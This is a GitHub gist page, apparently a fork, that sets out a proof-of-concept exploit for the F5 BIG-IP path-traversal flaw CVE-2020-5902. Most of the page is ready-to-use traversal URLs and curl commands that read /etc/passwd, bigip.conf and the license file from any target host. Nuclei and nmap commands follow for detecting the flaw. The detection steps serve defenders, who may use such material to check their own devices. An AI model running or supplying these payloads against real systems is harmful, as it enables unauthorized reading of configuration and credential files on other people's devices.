Skip to content

Instantly share code, notes, and snippets.

@vxrv

vxrv/CVE-2020-5902.md

Forked from cihanmehmet/CVE-2020-5902.md
Created July 5, 2020 21:46
Show Gist options
  • Save vxrv/0de65a650f5d963e7196b340362832e2 to your computer and use it in GitHub Desktop.
Save vxrv/0de65a650f5d963e7196b340362832e2 to your computer and use it in GitHub Desktop.
Download ZIP
BIGIP CVE-2020-5902 Exploit POC
Raw
CVE-2020-5902.md

🔸 BIGIP CVE-2020-5902 Exploit POC 👀

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

🎯 Manuel POC 🔥

curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
curl -sk 'https://{IP}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

📜 Nuclei Detect CVE-2020-5902

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml

nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -l https.txt

image

image

🔎 NMAP Script for CVE-2020-5902

wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment